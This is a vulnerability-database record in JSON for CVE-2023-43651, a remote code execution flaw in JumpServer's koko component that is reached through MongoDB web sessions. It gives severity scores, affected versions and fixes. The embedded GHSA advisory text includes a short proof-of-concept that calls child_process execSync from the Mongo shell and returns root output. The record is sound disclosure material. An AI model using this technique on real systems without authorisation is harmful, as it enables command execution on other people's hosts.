{"id":"CVE-2023-43651","aliases":["EUVD-2023-2648","GHSA-4r5x-x283-wm96"],"status":"published","title":"Remote code execution on the host system via MongoDB shell in jumpserver","description":"JumpServer is an open source bastion host. An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the system. Through the WEB CLI interface provided by the koko component, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. This vulnerability has been addressed in versions 2.28.20 and 3.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.02107,"percentile":0.82024,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2023-09-27T20:24:08Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"Go","package":"github.com/jumpserver/koko","fixed_in":["2.28.20","3.7.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/jumpserver/koko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.28.20"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/jumpserver/koko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.7.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/jumpserver/koko","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.28.20"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/jumpserver/koko","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.7.1"}]}]}],"products":[{"vendor":"fit2cloud","product":"jumpserver"},{"vendor":"jumpserver","product":"jumpserver"}],"references":[{"url":"https://github.com/jumpserver/jumpserver/security/advisories/GHSA-4r5x-x283-wm96","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://www.sonarsource.com/blog/diving-into-jumpserver-attackers-gateway-to-internal-networks-2-2","tags":["x_refsource_MISC","article"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43651","tags":["advisory"]},{"url":"https://github.com/jumpserver/koko/commit/7d80db95d17c8f42bdf50260dfc21dc2bd0452c2","tags":["web"]},{"url":"https://github.com/jumpserver/koko/commit/857f8b9e41f0930dc6190a35d8601fffa5e884e7","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4r5x-x283-wm96"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/43xxx/CVE-2023-43651.json","tags":["advisory"]},{"url":"https://github.com/jumpserver/koko","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-43651","title":"Remote code execution on the host system via MongoDB shell in jumpserver","description":"JumpServer is an open source bastion host. An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the system. Through the WEB CLI interface provided by the koko component, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. This vulnerability has been addressed in versions 2.28.20 and 3.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-09-27T20:24:08.733Z","modified":"2025-03-25T19:35:30.016Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:35:14.633899Z"}],"euvd":[{"id":"EUVD-2023-2648","description":"JumpServer is an open source bastion host. An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the system. Through the WEB CLI interface provided by the koko component, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. This vulnerability has been addressed in versions 2.28.20 and 3.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-09-27T20:24:08Z","modified":"2025-03-25T19:35:30Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T20:52:52.192094Z"}],"ghsa":[{"id":"GHSA-4r5x-x283-wm96","title":"Jumpserver Koko vulnerable to remote code execution on the host system via MongoDB shell ","description":"### Impact\n\nAn authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.\n\n### Details\nThrough the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.\n\n```\nadmin\u003e const { execSync } = require(\"child_process\")\nadmin\u003e console.log(execSync(\"id; hostname;\").toString())\nuid=0(root) gid=0(root) groups=0(root)\njms_koko\nadmin\u003e \n```\n\n### Patches\nSafe versions: \n- v2.28.20\n- v3.7.1 \n\n### Workarounds\nIt is recommended to upgrade the safe versions.\n\nAfter upgrade, you can use the same method to check whether the vulnerability is fixed.\n```\nadmin\u003e console.log(execSync(\"id; hostname;\").toString())\n/bin/sh: line 1: /bin/hostname: Permission denied\n```\n\n### References\nThanks for **Oskar Zeino-Mahmalat** of [Sonar](https://sonarsource.com/) found and report this vulnerability ","status":"published","published":"2023-10-24T19:47:50Z","modified":"2023-11-11T05:01:28Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:19.438667Z"}],"nvd":[{"id":"CVE-2023-43651","description":"JumpServer is an open source bastion host. An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the system. Through the WEB CLI interface provided by the koko component, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. This vulnerability has been addressed in versions 2.28.20 and 3.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-09-27T21:15:10.347Z","modified":"2026-06-17T06:26:09.467Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:08:31.699785Z"}],"osv":[{"id":"CVE-2023-43651","title":"Remote code execution on the host system via MongoDB shell in jumpserver","description":"JumpServer is an open source bastion host. An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the system. Through the WEB CLI interface provided by the koko component, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. This vulnerability has been addressed in versions 2.28.20 and 3.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-09-27T20:24:08.733Z","modified":"2026-10-28T02:30:34.702724672Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:33.792101Z"},{"id":"GHSA-4r5x-x283-wm96","title":"Jumpserver Koko vulnerable to remote code execution on the host system via MongoDB shell ","description":"### Impact\n\nAn authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.\n\n### Details\nThrough the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.\n\n```\nadmin\u003e const { execSync } = require(\"child_process\")\nadmin\u003e console.log(execSync(\"id; hostname;\").toString())\nuid=0(root) gid=0(root) groups=0(root)\njms_koko\nadmin\u003e \n```\n\n### Patches\nSafe versions: \n- v2.28.20\n- v3.7.1 \n\n### Workarounds\nIt is recommended to upgrade the safe versions.\n\nAfter upgrade, you can use the same method to check whether the vulnerability is fixed.\n```\nadmin\u003e console.log(execSync(\"id; hostname;\").toString())\n/bin/sh: line 1: /bin/hostname: Permission denied\n```\n\n### References\nThanks for **Oskar Zeino-Mahmalat** of [Sonar](https://sonarsource.com/) found and report this vulnerability ","status":"published","published":"2023-10-24T19:47:50Z","modified":"2026-09-10T03:49:24.676538248Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}